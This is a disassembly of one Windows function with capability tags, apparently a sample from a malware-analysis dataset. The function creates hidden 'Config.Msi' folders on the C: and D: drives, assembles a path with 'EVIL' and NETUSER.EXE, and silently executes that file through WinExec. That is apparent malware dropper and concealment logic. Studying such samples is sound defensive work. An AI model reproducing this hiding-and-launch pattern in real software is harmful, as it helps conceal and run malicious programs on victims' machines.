Function at 0x40a280
Capabilities:
Create directory
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xbb4
mov eax, dword [0x41f608]
push ebx
mov dword [esp + 0xbb4], eax
push esi
push edi
mov edx, ecx
xor eax, eax
mov byte [esp + 0x500], 0
mov ecx, 0x40
lea edi, [esp + 0x501]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x500]
push eax
mov ecx, edx
call fcn.00409fb0
push 3
push 0
push 0
lea ecx, [esp + 0x50c]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [0x418710]
mov edx, dword [str.C:Config.Msi_]
mov ecx, dword [0x418714]
mov dword [esp + 0x1c], eax
mov al, byte [0x41871a]
mov dword [esp + 0x20], ecx
mov byte [esp + 0x26], al
mov dword [esp + 0x18], edx
mov dx, word [0x418718]
xor eax, eax
mov word [esp + 0x24], dx
mov edx, dword [0x418700]
mov ecx, 0x3d
lea edi, [esp + 0x27]
rep stosd dword es:[edi], eax
mov ecx, dword [str.D:Config.Msi_]
stosb byte es:[edi], al
mov eax, dword [0x418704]
mov dword [esp + 0x120], ecx
mov cx, word [0x418708]
mov dword [esp + 0x124], edx
mov dl, byte [0x41870a]
mov dword [esp + 0x128], eax
mov word [esp + 0x12c], cx
xor eax, eax
mov byte [esp + 0x12e], dl
mov edx, dword [0x4187d0]
mov ecx, 0x3d
lea edi, [esp + 0x12f]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4187cc]
stosb byte es:[edi], al
mov eax, dword [str.NETUSER.EXE]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [esp + 0xc], eax
push 0
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], edx
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 2
lea ecx, [esp + 0x1c]
push ecx
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.EVIL
lea edx, [esp + 0x435]
push edx
mov byte [esp + 0x230], 0x7a
call esi
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x331]
push ecx
call esi
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x331]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x228]
push ecx
lea ecx, [esp + 0x60c]
call fcn.00407c30
lea ecx, [esp + 0x608]
call fcn.00409510
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea edx, [esp + 0x345]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x40a462
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
lea eax, [esp + 0x331]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov al, 1
mov ecx, dword [esp + 0xbbc]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
lea ecx, [esp + 0x124]
push ecx
call edi
push 2
lea edx, [esp + 0x124]
push edx
call ebx
push str.EVIL
lea eax, [esp + 0x435]
push eax
mov byte [esp + 0x230], 0x7a
call esi
lea ecx, [esp + 0x120]
push ecx
lea edx, [esp + 0x331]
push edx
call esi
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x331]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x228]
push edx
lea ecx, [esp + 0x8e4]
call fcn.00407c30
lea ecx, [esp + 0x608]
call fcn.00409510
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x345]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x40a529
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
lea ecx, [esp + 0x331]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov al, 1
mov ecx, dword [esp + 0xbbc]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [esp + 0xbbc]
xor al, al
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4